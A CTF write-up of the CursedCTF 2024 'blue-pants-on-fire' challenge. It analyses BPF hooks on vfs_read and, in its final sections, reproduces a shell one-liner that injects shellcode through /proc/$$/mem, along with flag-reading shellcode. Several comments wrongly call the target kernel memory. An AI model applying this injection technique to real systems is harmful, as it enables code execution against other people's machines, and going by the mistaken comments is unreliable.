CursedCTF - 2024 - blue-pants-on-fire
Blue Pants On Fire (BPF) - PWN challenge
This challenge began with an anti-spam proof-of-work script that routed you into a qemu-looking boot sequence followed by ‘The flag is at /flag.txt. Good Luck!’. The goal was to bypass bpf filters that would hijack the contents of the output of flag.txt before it sent the string to stdout.
For my recommended reading on topics that I didn’t understand, you can skip to the bottom.
Recon
Tools
- Basic shell commands (
nc
,cat
,tar
,base64
,tr
,ls
)
Logging in
First user was greeted with a proof-of-work challenge. This seems to be a measure of keeping brute-forcing down and gives an interactive path to the author with which to generate routes to the challenge before allowing users into the actual challenge.
1[12:23:59] tokugero :: pangolin ➜ ~ » nc <redacted> 5000 | tee output
2proof of work:
3curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.IYecQs5WM8psI1QUf8xxYg==
4solution:
Looking into the source of the pwn.red/pow script, one can see it’s just doing a download to a script that will do some math on the two outputs (+ version) to calculate a solution. The source code is also on github and linked in the script.
1[12:23:40] tokugero :: pangolin ➜ ~ » curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.IYecQs5WM8psI1QUf8xxYg==
2s.W2ACFYds5hFD0wgb6kr90ur/0b658a+OT1FoKUJNOPv5wAVuDlJhIzUNXG4M/L48Ood1xyWuFzvsLO9dhWkQw850ByS8Cp5X8D0/wblynsT8Qap4/hCu17yrtX3iHFSdoDqVj5nm6nEF2X8ADqQ/DH7b3WzEaIIx8odyO9bjvOz4fo+6I0SYqJEGyGlLZRLZDu7zqKpK1y3sGKfbbyhHYg==
After solving, you’re greeted with a long post message indicating that this is a qemu
vm spinning up with an /init
script.
1[ 2.754164] Run /init as init process
2
3
4Boot took 2.77 seconds
5
6┏┓ ╻ ╻ ╻┏━╸ ┏━┓┏━┓┏┓╻╺┳╸┏━┓ ┏━┓┏┓╻ ┏━╸╻┏━┓┏━╸
7┣┻┓┃ ┃ ┃┣╸ ┣━┛┣━┫┃┗┫ ┃ ┗━┓ ┃ ┃┃┗┫ ┣╸ ┃┣┳┛┣╸
8┗━┛┗━╸┗━┛┗━╸ ╹ ╹ ╹╹ ╹ ╹ ┗━┛ ┗━┛╹ ╹ ╹ ╹╹┗╸┗━╸
9
10Good luck :) Flag is at /flag.txt
11
12[ 2.958757] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
13[ 3.may corrupt user memory!1] is installing a program with bpf_probe_write_user helper that
14[ 3.165430] blue-pants-on-f[1] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
15[ 3.166298] blue-pants-on-f[1] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
16/bin/sh: can't access tty; job control turned off
Looking at the suggested file we see some silly text that is not the flag.
1~ $ cat /flag.txt
2cat /flag.txt
3letmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletm~ $
We also have some interesting errors from the initial output as well:
is installing a program with bpf_probe_write_user helper that may corrupt user memory!
Some googling shows us that this is likely a dangerous BPF helper that can be used to write to user memory. This is likely the mechanism by which the flag is being overwritten.
Looking at the contents of /init we can see the script that’s spawning and the binary that’s ultimately ran.
1~ $ cat /init
2cat /init
3#!/bin/sh
4
5mount -t proc none /proc
6mount -t sysfs none /sys
7
8cat <<!
9
10
11Boot took $(cut -d' ' -f1 /proc/uptime) seconds
12
13┏┓ ╻ ╻ ╻┏━╸ ┏━┓┏━┓┏┓╻╺┳╸┏━┓ ┏━┓┏┓╻ ┏━╸╻┏━┓┏━╸
14┣┻┓┃ ┃ ┃┣╸ ┣━┛┣━┫┃┗┫ ┃ ┗━┓ ┃ ┃┃┗┫ ┣╸ ┃┣┳┛┣╸
15┗━┛┗━╸┗━┛┗━╸ ╹ ╹ ╹╹ ╹ ╹ ┗━┛ ┗━┛╹ ╹ ╹ ╹╹┗╸┗━╸
16
17Good luck :) Flag is at /flag.txt
18
19!
20exec /sbin/blue-pants-on-fire
Exfiltrating binary
To understand what’s happening, we’ll need to exfiltrate this binary. By tar
ing it to base64, we can copy the output and decode it on our local machine.
1tar -cf - /sbin/blue-pants-on-fire | base64
1[14:08:47] tokugero :: pangolin ➜ pwn/bluepantsonfire/tmp » cat output | tr -d '\r\n' | base64 -d | tar -xv
2sbin/blue-pants-on-fire
3[14:08:51] tokugero :: pangolin ➜ pwn/bluepantsonfire/tmp » ls -alhn sbin
4total 2.5M
5drwxr-xr-x 2 1000 1000 4.0K Apr 2 14:08 .
6drwxr-xr-x 3 1000 1000 4.0K Apr 2 14:08 ..
7-rwxr-xr-x 1 1000 1000 2.4M Mar 29 20:21 blue-pants-on-fire
Understanding
Tools
- strings
- Ghidra
- binwalk
- objdump
- strace
- bpftools
Pulling out what we can
First is to look through strings
output, here I’m just showing the really interesing bits that came out of the binary. We can see the goofy output embedded in the binary, indicating that it has something to do with the output.
1[14:23:59] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » strings blue-pants-on-fire | grep let
2state must have zero transitionsrelocating map by section index BPF_MAP_TYPE_REUSEPORT_SOCKARRAY/sys/devices/system/cpu/possiblethe program was already attachedenum relocation on non-enum type` overflows 16 bits offset fieldtwo or more symbols in section `index out of bounds: the len is library/core/src/fmt/builders.rslibrary/core/src/slice/memchr.rswarning: invalid regex filter -
3letmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutblue_pants_on_firesrc/main.rscouldn't read dentrycouldn't read name pointer is trying to read flagcouldn't read nameattempted read of flag, size:
Binwalk is a useful tool for identifying embedded files in a binary. Here we can see that there are some files embedded in the binary, including another binary.
1[14:25:47] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » binwalk blue-pants-on-fire 130 ↵
2
3DECIMAL HEXADECIMAL DESCRIPTION
4--------------------------------------------------------------------------------
50 0x0 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
6960605 0xEA85D bix header, header size: 64 bytes, header CRC: 0x488B4D, created: 1974-04-15 08:43:32, image size: 21269365 bytes, Data Address: 0x4498B84, Entry Point: 0x24980200, data CRC: 0x490B84, image type: OS Kernel Image, compression type: none, image name: ""
71847008 0x1C2EE0 Unix path: /sys/devices/system/cpu/possiblethe program was already attachedenum relocation on non-enum type` overflows 16 bits offset field
81873152 0x1C9500 ELF, 64-bit LSB relocatable, version 1 (SYSV)
91970056 0x1E0F88 Unix path: /usr/local/bin:/bin:/usr/bin
We can even extract the embedded files directly.
1[14:26:12] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » binwalk --dd='.*' blue-pants-on-fire
2
3DECIMAL HEXADECIMAL DESCRIPTION
4--------------------------------------------------------------------------------
50 0x0 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
6960605 0xEA85D bix header, header size: 64 bytes, header CRC: 0x488B4D, created: 1974-04-15 08:43:32, image size: 21269365 bytes, Data Address: 0x4498B84, Entry Point: 0x24980200, data CRC: 0x490B84, image type: OS Kernel Image, compression type: none, image name: ""
71847008 0x1C2EE0 Unix path: /sys/devices/system/cpu/possiblethe program was already attachedenum relocation on non-enum type` overflows 16 bits offset field
81873152 0x1C9500 ELF, 64-bit LSB relocatable, version 1 (SYSV)
91970056 0x1E0F88 Unix path: /usr/local/bin:/bin:/usr/bin
10[14:26:22] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » ls _blue-pants-on-fire.extracted
110 1C2EE0 1C9500 1E0F88 EA85D
And trying strings again, we can confirm that this output is in the embedded binary, not in the parent binary. Research on writing BPF code tells us that one will use a higher level language like rust or c to generate BPF bytecode that is destined to the kernel BPF space, this way the kernel can do some JIT compiling with the byte-code to ensure it’s more transferable between architectures. A very useful feature, but it means it’ll be a bit harder for us to read as my normal toolbelt does not extract this bytecode very well.
1[14:28:32] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » strings _blue-pants-on-fire.extracted/1C2EE0 | head -n 20
2...<SNIP>...
3letmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutblue_pants_on_firesrc/main.rscouldn't read dentrycouldn't read name pointer is trying to read flagcouldn't read nameattempted read of flag, size:
Using objdump, however, on the extracted bytecode, we can see a few things that the bytecode has left unstripped, like the fact that the fentry (likely the entrypoint of our input, like read) is checking ‘read’, and fexit (likely the exit point of our output, like write). Since this is labeled as “read”, we will need to assume that the the “read” syscall is being hijacked and not to be trusted… “liar liar, blue pants on fire”?
1[14:44:59] tokugero :: pangolin ➜ tmp/sbin/_blue-pants-on-fire.extracted » objdump -h 1C9500
2
31C9500: file format elf64-little
4
5Sections:
6Idx Name Size VMA LMA File off Algn
70 .text 00000350 0000000000000000 0000000000000000 00000040 2**3
8 CONTENTS, ALLOC, LOAD, READONLY, CODE
91 fentry/vfs_read 00001d90 0000000000000000 0000000000000000 00000390 2**3
10 CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
112 fexit/vfs_read 00000838 0000000000000000 0000000000000000 00002120 2**3
12 CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
133 .rodata 00000112 0000000000000000 0000000000000000 00002958 2**0
14 CONTENTS, ALLOC, LOAD, READONLY, DATA
154 maps 00000054 0000000000000000 0000000000000000 00002a6c 2**2
16 CONTENTS, ALLOC, LOAD, DATA
Looking at the objdump with a guessed architecture (as others will complain about bad arch’s anyway) shows us a bit more about what the bytecode is doing.
1[14:49:02] tokugero :: pangolin ➜ tmp/sbin/_blue-pants-on-fire.extracted » objdump -d -mi386 1C9500
2...<SNIP>...
3Disassembly of section fentry/vfs_read:
4
50000000000000000 <fentry_blue_pants_on_fire_read>:
6 0: bf 16 00 00 00 mov $0x16,%edi
7 5: 00 00 add %al,(%eax)
8 7: 00 85 00 00 00 0e add %al,0xe000000(%ebp)
9 d: 00 00 add %al,(%eax)
10 f: 00 7b 0a add %bh,0xa(%ebx)
11 12: d0 ff sar $1,%bh
12 14: 00 00 add %al,(%eax)
13 16: 00 00 add %al,(%eax)
14 18: bf a2 00 00 00 mov $0xa2,%edi
15 1d: 00 00 add %al,(%eax)
16 1f: 00 07 add %al,(%edi)
17 21: 02 00 add (%eax),%al
18 23: 00 d0 add %dl,%al
19 25: ff (bad)
20 26: ff (bad)
21 27: ff 18 lcall *(%eax)
22 29: 01 00 add %eax,(%eax)
23 ...
24 37: 00 85 00 00 00 03 add %al,0x3000000(%ebp)
25 3d: 00 00 add %al,(%eax)
26 3f: 00 79 69 add %bh,0x69(%ecx)
27 42: 08 00 or %al,(%eax)
28 44: 00 00 add %al,(%eax)
29 46: 00 00 add %al,(%eax)
30 48: 79 63 jns ad <fentry_blue_pants_on_fire_read+0xad>
31 4a: 00 00 add %al,(%eax)
32 4c: 00 00 add %al,(%eax)
33 4e: 00 00 add %al,(%eax)
34 50: 07 pop %es
35 51: 03 00 add (%eax),%eax
36 53: 00 a0 00 00 00 bf add %ah,-0x41000000(%eax)
37 59: a1 00 00 00 00 mov 0x0,%eax # 0 eax(syscall) is "read" https://filippo.io/linux-syscall-table/
38 5e: 00 00 add %al,(%eax)
39 60: 07 pop %es
40 61: 01 00 add %eax,(%eax)
41 63: 00 d8 add %bl,%al
42 65: ff (bad)
43 66: ff (bad)
44 67: ff b7 02 00 00 08 push 0x8000002(%edi)
45 6d: 00 00 add %al,(%eax)
46 6f: 00 85 00 00 00 71 add %al,0x71000000(%ebp)
47 75: 00 00 add %al,(%eax)
48 77: 00 55 00 add %dl,0x0(%ebp)
49 7a: e5 00 in $0x0,%eax # Again, 0 eax(syscall) is "read" https://filippo.io/linux-syscall-table/
50 7c: 00 00 add %al,(%eax)
51 7e: 00 00 add %al,(%eax)
52 80: 79 a3 jns 25 <fentry_blue_pants_on_fire_read+0x25>
53 82: d8 ff fdivr %st(7),%st
54 84: 00 00 add %al,(%eax)
55 86: 00 00 add %al,(%eax)
56 88: 07 pop %es
57 89: 03 00 add (%eax),%eax
58 8b: 00 28 add %ch,(%eax)
59 8d: 00 00 add %al,(%eax)
60 8f: 00 bf a1 00 00 00 add %bh,0xa1(%edi)
61 95: 00 00 add %al,(%eax)
62 97: 00 07 add %al,(%edi)
63 99: 01 00 add %eax,(%eax)
64 9b: 00 d8 add %bl,%al
65 9d: ff (bad)
66 9e: ff (bad)
Research tells us that BPF programs are, by requirement and necessity, extremely small. To make a more intricate BPF program, an author can use maps
to share data objects between the BPF programs. In this code we can see the maps that are created and where they’re shared. However, at the time of this writing, I was unable to actually observe the data being written and shared in these maps as it cleared too quickly for me to catch. Maybe there’s better tools out there for me to find in the future.
1[14:53:20] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » sudo bpftool prog
2...<SNIP>...
339: tracing name fentry_blue_pan tag cbaa055b6728b557 gpl
4 loaded_at 2024-04-02T14:52:06-0700 uid 0
5 xlated 8104B jited 4396B memlock 8192B map_ids 12,11,13,14
6 pids blue-pants-on-f(14584)
740: tracing name fexit_blue_pant tag 0b1e0db2a5365e35 gpl
8 loaded_at 2024-04-02T14:52:06-0700 uid 0
9 xlated 2424B jited 1339B memlock 4096B map_ids 12,11,13,14
10 pids blue-pants-on-f(14584)
1[15:05:39] tokugero :: pangolin ➜ bluepantsonfire/tmp/sbin » sudo bpftool prog dump xlated id 39 | grep -E "(map|\#)" #sample output 1 ↵
21: (85) call bpf_get_current_pid_tgid#216480
35: (18) r1 = map[id:12]
47: (85) call htab_lru_map_delete_elem#255808
514: (85) call bpf_probe_read_kernel#-102192
621: (85) call bpf_probe_read_kernel#-102192
727: (18) r1 = map[id:11]
829: (85) call percpu_array_map_lookup_elem#266064
938: (18) r4 = map[id:13][0]+128
10130: (18) r4 = map[id:13][0]+146
11183: (18) r2 = map[id:13][0]+177
12238: (18) r2 = map[id:14]
13249: (18) r1 = map[id:11]
14251: (85) call percpu_array_map_lookup_elem#266064
15260: (18) r4 = map[id:13][0]+128
16352: (18) r4 = map[id:13][0]+146
17405: (18) r2 = map[id:13][0]+157
18448: (18) r2 = map[id:14]
19454: (85) call bpf_perf_event_output_raw_tp#-97168
20463: (85) call pc+482#bpf_prog_9af5d65f957a4f79_F
21467: (85) call bpf_probe_read_kernel_str#-101936
22489: (18) r1 = map[id:11]
23491: (85) call percpu_array_map_lookup_elem#266064
24501: (18) r5 = map[id:13][0]+128
25593: (18) r7 = map[id:13][0]+146
26645: (18) r2 = map[id:13][0]+226
27684: (18) r2 = map[id:14]
28694: (85) call pc+259#bpf_prog_574d635fd9d96149_F
29703: (18) r1 = map[id:11]
30705: (85) call percpu_array_map_lookup_elem#266064
31712: (18) r1 = map[id:12]
32715: (85) call htab_lru_map_update_elem#257456
33724: (18) r4 = map[id:13][0]+128
34816: (18) r3 = map[id:13][0]+146
35877: (85) call pc+112#bpf_prog_35afc7aded4e0a42_F
36881: (85) call pc+115#bpf_prog_14cae5e813865f9a_F
37889: (18) r2 = map[id:13][0]+203
38938: (18) r2 = map[id:14]
39944: (85) call bpf_perf_event_output_raw_tp#-97168
Crafting the exploit
I didn’t finish this challenge in the competition, and instead I read the author’s write-up at this point. I understood that syscalls were being hijacked, and looking at the intended solution I could see my original assumption of “open” being the hijacked code was incorrect, but instead it was actually “read” that was triggering the BPF filter. From here on, this is me attempting to reverse engineer how the author intended the challengers to bypass this filter using raw syscalls and shellcode.
Tools
- pwntools (shellcraft shell code generator)
- read
- exec
- hope
Answer from the author; don’t ask me about the magic of the wizard, I only know the legends of its arcane runes.
1echo '<redacted-base64-payload>'|base64 -d > solution.bin && objdump -D -b binary -mi386:x86-64 solution.bin
2
3solution.bin: file format binary
4
5
6Disassembly of section .data:
7
80000000000000000 <.data>:
90: 50 push %rax
101: 48 31 d2 xor %rdx,%rdx
114: 48 31 f6 xor %rsi,%rsi
127: 56 push %rsi
138: 56 push %rsi
149: 48 bb 66 6c 61 67 2e movabs $0x7478742e67616c66,%rbx # flag.txt little-endian
1510: 74 78 74
1613: 53 push %rbx # Flag location
1714: 54 push %rsp
1815: 5f pop %rdi
1916: b8 02 00 00 00 mov $0x2,%eax # open syscall
201b: 0f 05 syscall
211d: 49 90 xchg %rax,%r8
221f: 48 31 ff xor %rdi,%rdi
2322: be 00 10 00 00 mov $0x1000,%esi
2427: ba 01 00 00 00 mov $0x1,%edx
252c: 41 ba 02 00 00 00 mov $0x2,%r10d
2632: 4d 31 c9 xor %r9,%r9
2735: b8 09 00 00 00 mov $0x9,%eax # mmap syscall
283a: 0f 05 syscall
293c: 48 96 xchg %rax,%rsi
303e: ba 40 00 00 00 mov $0x40,%edx
3143: bf 01 00 00 00 mov $0x1,%edi
3248: b8 01 00 00 00 mov $0x1,%eax # write syscall
334d: 0f 05 syscall
This is what a hacker fireball looks like in terminal.
1read a</proc/$$/syscall;exec 3>/proc/$$/mem;echo '<redacted-base64-payload>'|base64 -d|dd bs=1 seek=$(($(echo $a|cut -d" " -f9)))>&3
1# Note that this doesn't actually work as a payload... yet
2open_flag = pwnlib.shellcraft.i386.linux.open("/flag.txt").rstrip()
3mmap = pwnlib.shellcraft.i386.linux.syscall("SYS_mmap", 0x1000, 0x1000, 7, 50, 0, 0).rstrip()
4write = pwnlib.shellcraft.i386.linux.syscall("SYS_write", 1, 0x100000, 0x1000).rstrip()
5
6shellcode = b64e(asm(open_flag + mmap + write))
7print(shellcode)
1 /* open(file='/flag.txt', oflag=0, mode=0) */
2 /* push b'/flag.txt\x00' */
3 push 0x74
4 push 0x78742e67
5 push 0x616c662f
6 mov ebx, esp
7 xor ecx, ecx
8 xor edx, edx
9 /* call open() */
10 push SYS_open /* 5 */
11 pop eax
12 int 0x80 /* call mmap(0x1000, 0x1000, 7, 0x32, 0, 0) */
13 push SYS_mmap /* 0x5a */
14 pop eax
15 xor ebp, ebp
16 xor ebx, ebx
17 mov bh, 0x1000 >> 8
18 xor edi, edi
19 push 7
20 pop edx
21 push 0x32
22 pop esi
23 mov ecx, ebx
24 int 0x80 /* call write(1, 0x100000, 0x1000) */
25 push SYS_write /* 4 */
26 pop eax
27 push 1
28 pop ebx
29 mov ecx, (-1) ^ 0x100000
30 not ecx
31 xor edx, edx
32 mov dh, 0x1000 >> 8
33 int 0x80
This is the injection technique devised by the author. I found more detailed information about writing to memory fd’s here: https://joev.dev/posts/unprivileged-process-injection-techniques-in-linux
1read a</proc/$$/syscall;exec 3>/proc/$$/mem;echo '<redacted>'|base64 -d|dd bs=1 seek=$(($(echo $a|cut -d" " -f9)))>&3
This is the breakdown of the technique used here
1read a</proc/$$/syscall # Captures the current syscall stack into variable $a, specifically the "read" address at 9th position
2exec 3>/proc/$$/mem # Opens a write file-handle to kernel memory
3echo '<redacted>'| # The base64 encoded shellcode
4 base64 -d| # Decodes the base64 shellcode
5 dd bs=1 seek=$( # Writes the shellcode to the kernel memory at the last stack pointer address. When read is called, our payload is executed
6 (
7 $(echo $a| # outputs the syscall pointers
8 cut -d" " -f9) # outputs the address of the read syscall
9 )
10 )>&3 # Writes the shellcode to the kernel memory at the desired location
Things that didn’t work
- Random testing
- Ghidra
This really took understanding what I was looking at. Without the hint from the challenge itself (__B__lue-__P__ants-on-__F__ire) and the errors that greet the user on login, I may never have found the bad-bpf defcon talk that really showed me what was possible with what I had previously assumed were just networking debug tools. Throwing Rust at Ghidra with all it’s embedded packages, and the nested BPF bytecode wasted hours of my time trying to understand what ended up being basic libraries that were baked into the final binary.
I spent a lot of time looking through that binary for where “flag.txt” might have been referenced to work my way backwards. The letmeoutletmeout
string did ultimately help me focus my attention where it mattered, but that also didn’t really give me what I needed to solve the challenge. It forced me to take another look at the (what seemed like magic at first) objdump
and dd
tools to extract information. Once I started allowing myself to explore the parameters and tools, these made a big difference in how I approached the challenge.
Unfortunately, I kept using my frustration-breaks to look for tools in the included busybox
bin that might give me a tool that didn’t really read a file but might give me what I needed to get the file. Locally on my system I was able to copy the flag to another file to see the contents, but this challenge had no such writeable directory. exec
opening and managing file handles got me closer, but still ultimately weren’t sufficient. In these cases, I determined it’s best to just accept the suck and start learning how to inject shellcode. Even though it seems complex and scary, it’ll be an absolutely essential tool to give me the flexibility to no longer depend on these built-ins in the future. It also helps me really appreciate how little security one has once someone gets access to a box, so maybe it will help me realize how much I have to go to harden my own systems moving forward.
Conclusion
This challenge really pushed my understanding of how kernels and memory works in the Linux system itself. In addition, it exposed an entire set of techniques for debugging of which I was entirely ignorant. I think this is a really good way to show that even if the challenge feels insurmountable, there’s something to be gained from the failure of the experience. I’m really glad I took the time to look into this challenge and I hope I can apply these learnings soon.
I’m going to keep looking for ways to craft this payload myself. As of the time of this writing, I haven’t gotten it working yet, but need to move to other things and come back to this at another time. If/when I get it working, I’ll update this post with the working payload and how I arrived at whatever answer that might be.